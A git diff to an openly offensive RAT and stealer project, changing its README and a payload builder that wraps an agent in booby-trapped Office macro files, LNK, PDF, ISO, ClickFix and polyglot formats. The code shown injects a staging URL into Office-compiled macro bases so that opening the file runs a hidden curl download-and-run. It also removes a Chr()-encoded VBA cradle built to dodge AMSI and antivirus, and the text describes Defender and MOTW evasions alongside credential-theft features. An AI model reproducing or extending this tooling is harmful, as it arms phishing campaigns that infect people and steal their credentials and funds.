diff --git a/README.md b/README.md index 65aed1c..ee7c70e 100644 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ HVNC RAT and stealer research project, derived from Misery. For local testing an - **Credential harvesting**: Chrome, Edge, Brave, Opera, Opera GX, Firefox - **App-session harvesting**: payment cards, Discord, Steam, Telegram, Slack, VS Code, AWS, SSH keys, Wi-Fi passwords, wallet extension paths, Signal session listing - **Encrypted C2 channel**: reverse TCP (default) or HTTPS beaconing through a CDN -- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `pptm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html` +- **Payload builder** (`setup.py`): msfvenom-style config, ECDH key handling, and `-p` delivery wrappers for `docm`, `xlsm`, `lnk`, `pdf`, `html`, `clickfix_html`, `iso`, `polyglot_exe_zip`, and `polyglot_html` - **Keylogger and clipboard monitoring** - **Persistence**: HKCU Run key and WMI event subscriptions - **Elevation** (`elevate`): silent UAC bypass to High via PEB masquerade and CMSTPLUA/ICMLuaUtil, then SYSTEM through SeDebug token theft from a non-PPL system process. Verified on Windows 11 25H2 (build 26200) @@ -57,9 +57,8 @@ filetypes in `dist/` and records each one in `.manifest.json` with its sha256 and size. `python setup.py --list-formats` prints the current list with dependencies. -- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run -- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run -- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run +- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run. The macro comes from a Word-authored compiled base (`wrappers_bases/docm_base.docm`); only the stage URL and agent filename are injected as document variables and read at open time, because rebuild-generated macro streams open without auto-event hooks (verified live 2026-08) +- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run. Same design: an Excel-authored compiled base (`wrappers_bases/xlsm_base.xlsm`) with the runtime values in a hidden `cfg` sheet - `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline) - `pdf` - agent embedded as a PDF attachment, launched on open - `html` - OneDrive-style page; the agent hides in a zip blob behind a button click @@ -78,6 +77,16 @@ iso, and polyglot_html carry the agent themselves. The macro files ship with decoy content, and the lnk/pdf formats show a decoy document, so they read as normal business documents instead of empty templates. +The docm and xlsm bases are compiled by Word/Excel themselves so the +`Document_Open` / `Workbook_Open` hooks actually fire: pyopenvba-style +rebuilds write source-only module streams that Office opens in a degraded +state where the auto-events never run (reproduced and root-caused live +2026-08). The wrapper copies the base, fills decoy content, and injects the +per-build values (Word docvars in `word/settings.xml`, Excel cfg-sheet cells +in `xl/sharedStrings.xml`); the pre-compiled VBA builds the download chain +from Chr()-encoded parts plus those values at open time, so no macro stream +is ever rewritten. + The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as `STAGE_URL`, so host the generated `.cmd` and `.decoy.pdf` next to the agent. @@ -93,9 +102,13 @@ The wrappers use these optional libs; a missing lib just skips the formats that need it: ```powershell -pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx +pip install pylnk3 pycdlib pikepdf python-docx openpyxl ``` +The docm/xlsm bases live in `wrappers_bases/` and ship with the repo; rebuild +them in Office if you ever change the macro logic (see the wrapper docstring +notes), then commit the new base. + ## Commands | Command | What it does | @@ -148,6 +161,7 @@ A fresh checkout builds against `127.0.0.1:4444`. Run `setup.py` once so `.miser - `src/rat`: keylogger + clipboard - `src/transport`: encrypted TCP framing, HTTPS beacon carrier, compression - `src/evasion`: indirect syscalls, anti-analysis, UAC/token elevation, helpers +- `wrappers_bases/`: Office-authored compiled macro bases used by the docm/xlsm wrappers - `build/`: out-of-source build dir ## Licence diff --git a/wrappers.py b/wrappers.py index bbe7ca0..73d4936 100644 --- a/wrappers.py +++ b/wrappers.py @@ -21,18 +21,25 @@ Commando.A!ml, all reproduced locally): (LNK-launched cmdlines that download are flagged by Defender's FastPath ML, so the chain lives in the .cmd) pdf PDF with the agent embedded as an attachment (OpenAction launch) - pptm PowerPoint macro deck: Auto_Open -> hidden cmd/curl iso ISO/IMG container carrying the agent (MOTW bypass) polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser Remote-cradle formats need STAGE_URL (where the operator hosts the agent exe); self-contained formats embed the agent directly. The macro files carry decoy -content (python-docx / openpyxl / python-pptx when installed) so they look like -real documents, and the decoys are worded like M365/OneDrive share messages. -Optional third-party libs are used where they exist: pyopenvba (macro files), -pylnk3 (shortcuts), pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only -the formats that need it. +content (python-docx / openpyxl when installed) so they look like real +documents, and the decoys are worded like M365/OneDrive share messages. +The docm/xlsm macros are never generated: they come from Office-authored +compiled bases (wrappers_bases/), which Office loads with working auto-event +hooks -- pyopenvba-style rebuilds write source-only module streams that Word +and Excel open in a degraded state where Document_Open/Workbook_Open never +fire (verified live 2026-08). Only the per-build values (stage URL, agent +filename) are injected into the base's data storage (Word docvars in +word/settings.xml, Excel cfg-sheet cells in xl/sharedStrings.xml) and read +by the pre-compiled VBA at open time. +Optional third-party libs are used where they exist: pylnk3 (shortcuts), +pycdlib (ISOs), pikepdf (PDFs); a missing lib skips only the formats that +need it. Run only from an authorized lab. """ @@ -41,31 +48,29 @@ import base64 import hashlib import io import os +import shutil import zipfile from pathlib import Path from urllib.parse import urlparse FORMATS = [ - ("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True), - ("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True), + ("docm", "Word macro document (Document_Open -> hidden cmd/curl cradle)", [], True), + ("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", [], True), ("html", "HTML smuggling page (agent embedded as zip blob)", [], False), ("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True), ("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True), ("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False), - ("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True), ("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False), ("polyglot_exe_zip", "EXE+ZIP polyglot: runs as exe, opens as archive", ["pylnk3", "pikepdf"], True), ("polyglot_html", "EXE+HTML polyglot: runs as exe, shows decoy page", [], False), ] _LIBS = { - "pyopenvba": "pyopenvba", "pylnk3": "pylnk3", "pycdlib": "pycdlib", "pikepdf": "pikepdf", "docx": "python-docx", "openpyxl": "openpyxl", - "pptx": "python-pptx", } STAGE_REQUIRED = [f for f, _, _, needs in FORMATS if needs] @@ -148,20 +153,6 @@ def _xor_hex(data: bytes, key: int) -> str: return bytes(b ^ key for b in data).hex() -def _vba_cradle(p, fname: str) -> str: - """VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles - are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole - command is Chr()-encoded so no literal trigger string (cmd, curl, http) - survives in the macro for Office AMSI / content-trigger scans.""" - cmd = download_cradle(p, fname) - if not cmd: - return None - enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd) - return ("Dim c As String\r\n" - " c = %s\r\n" - " Shell c, vbHide" % enc) - - def _zip_of(entries, member=None) -> bytes: """Zip one or more (name, data) entries. Accepts the old (data, member) call shape for compatibility.""" @@ -209,8 +200,6 @@ def _pick_decoy() -> str: _CT = { "docm": (b"application/vnd.ms-word.document.macroEnabled.main+xml", b"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"), - "pptm": (b"application/vnd.ms-powerpoint.presentation.macroEnabled.main+xml", - b"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"), } @@ -263,7 +252,7 @@ def _excel_decoy(path: str) -> None: from openpyxl.styles import Font wb = load_workbook(path, keep_vba=True) - ws = wb.active + ws = next((s for s in wb.worksheets if s.title.lower() != "cfg"), wb.active) ws.title = "Invoice" rows = (("Item", "Description", "Amount"), ("INV-2041", "Consulting services", 12490), @@ -283,23 +272,6 @@ def _excel_decoy(path: str) -> None: wb.save(path) -def _powerpoint_decoy(path: str) -> None: - from pptx import Presentation - tmp = path + ".tmp.pptx" - _swap_ct(path, tmp, *_CT["pptm"]) - prs = Presentation(tmp) - decoy = _pick_decoy() - title, _, body = decoy.partition(" - ") - slide = prs.slides[0] - slide.shapes.title.text = title - for ph in slide.placeholders: - if ph.placeholder_format.idx == 1: - ph.text = body - prs.save(tmp) - _swap_ct(tmp, path, *_CT["pptm"][::-1]) - Path(tmp).unlink() - - def _office_decoy(path: str, kind: str) -> None: """Fill a macro-enabled file with decoy content. Uses the matching editor lib when installed; docm falls back to the plain body injection.""" @@ -310,30 +282,82 @@ def _office_decoy(path: str, kind: str) -> None: _inject_docm_decoy(path) elif kind == "xlsm" and _import("openpyxl") is not None: _excel_decoy(path) - elif kind == "pptm" and _import("pptx") is not None: - _powerpoint_decoy(path) -def _macro_document(p, module_name, trigger, docm: bool, out_name: str): - """Build a macro-enabled Office file whose code-behind runs the cradle.""" - from pyopenvba import WordFile, ExcelFile +_BASE_DIR = Path(__file__).resolve().parent / "wrappers_bases" +_BASE_FILES = { + "docm": "docm_base.docm", + "xlsm": "xlsm_base.xlsm", +} - src = _vba_cradle(p, out_name + ".exe") - if not src: + +def _inject_macro_vars(path: str, kind: str, p, out_name: str) -> bool: + """Patch the per-build runtime values into the base's data storage: + Word docvars in word/settings.xml, Excel cfg-sheet cells (inline strings + in the sheet XML). The pre-compiled VBA reads them at open time, so + the compiled macro never needs rebuilding. Returns False if the base + did not contain what the macro expects, so a broken artifact is never + shipped.""" + url = p.get("stage_url") + if not url or any(ch in url for ch in '"<>'): + return False + fn = out_name + ".exe" + with zipfile.ZipFile(path, "r") as z: + entries = {n: z.read(n) for n in z.namelist()} + if kind == "docm": + settings = entries.get("word/settings.xml") + if settings is None or b"" not in settings: + return False + docvars = ('' + '' + % (url.replace("&", "&"), fn)).encode("utf-8") + entries["word/settings.xml"] = settings.replace( + b"", docvars + b"", 1) + else: # xlsm: cfg-sheet cells are inline strings in the sheet XML (and + # sharedStrings if the base editor ever switches) -- patch any part + # that still carries the placeholders + seen = False + for n in list(entries): + if b"PLACEHOLDERURL.invalid" not in entries[n]: + continue + seen = True + entries[n] = (entries[n] + .replace(b"http://PLACEHOLDERURL.invalid/x", + url.encode("utf-8")) + .replace(b"placeholder.exe", fn.encode("utf-8"))) + if not seen or any(b"PLACEHOLDERURL.invalid" in b for b in entries.values()): + return False + with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z: + for n, b in entries.items(): + z.writestr(n, b) + return True + + +def _macro_document(p, kind: str, out_name: str): + """Copy the Office-authored compiled base into dist, fill it with decoy + content, then inject the stage values. The bases carry the trigger + compiled by Word/Excel themselves: pyopenvba-style rebuilds write + source-only module streams that Office opens without auto-event hooks + (verified live 2026-08), so no macro is generated from scratch.""" + base = _BASE_DIR / _BASE_FILES[kind] + if not base.exists(): + return None + path = str(p["dist"] / (out_name + "." + kind)) + shutil.copyfile(str(base), path) + _office_decoy(path, kind) + if not _inject_macro_vars(path, kind, p, out_name): return None - vba = ("Private Sub %s()\r\n" - " %s\r\n" - "End Sub\r\n") % (trigger, src) - cls = WordFile if docm else ExcelFile - target = out_name + (".docm" if docm else ".xlsm") - path = str(p["dist"] / target) - with cls.create_new(path) as host_file: - host_file.set_module(module_name, vba) - host_file.save(path) - _office_decoy(path, "docm" if docm else "xlsm") return path +def build_docm(p, agent: bytes, out_name: str): + return _macro_document(p, "docm", out_name) + + +def build_xlsm(p, agent: bytes, out_name: str): + return _macro_document(p, "xlsm", out_name) + + def _inject_docm_decoy(path: str) -> None: """Append a plausible paragraph to the Word body without touching the macro streams; best-effort, skipped silently if the part is unusual.""" @@ -354,14 +378,6 @@ def _inject_docm_decoy(path: str) -> None: pass -def build_docm(p, agent: bytes, out_name: str): - return _macro_document(p, "ThisDocument", "Document_Open", True, out_name) - - -def build_xlsm(p, agent: bytes, out_name: str): - return _macro_document(p, "ThisWorkbook", "Workbook_Open", False, out_name) - - # ---------------------------------------------------------------- html smuggling def build_html(p, agent: bytes, out_name: str) -> str: @@ -533,23 +549,6 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str: return path -def build_pptm(p, agent: bytes, out_name: str) -> str: - from pyopenvba import PowerPointFile - - src = _vba_cradle(p, out_name + ".exe") - if not src: - return None - vba = ("Sub Auto_Open()\r\n" - " %s\r\n" - "End Sub\r\n") % src - path = str(p["dist"] / (out_name + ".pptm")) - with PowerPointFile.create_new(path) as host: - host.set_module("Module1", vba) - host.save(path) - _office_decoy(path, "pptm") - return path - - # ---------------------------------------------------------------- pdf def _pdf_decoy(pdf, title: str) -> None: @@ -738,7 +737,6 @@ _BUILDERS = { "clickfix_html": build_clickfix_html, "lnk": build_lnk, "pdf": build_pdf, - "pptm": build_pptm, "iso": build_iso, "polyglot_exe_zip": build_polyglot_exe_zip, "polyglot_html": build_polyglot_html, diff --git a/wrappers_bases/docm_base.docm b/wrappers_bases/docm_base.docm new file mode 100644 index 0000000..d7284f1 Binary files /dev/null and b/wrappers_bases/docm_base.docm differ diff --git a/wrappers_bases/xlsm_base.xlsm b/wrappers_bases/xlsm_base.xlsm new file mode 100644 index 0000000..70df8a6 Binary files /dev/null and b/wrappers_bases/xlsm_base.xlsm differ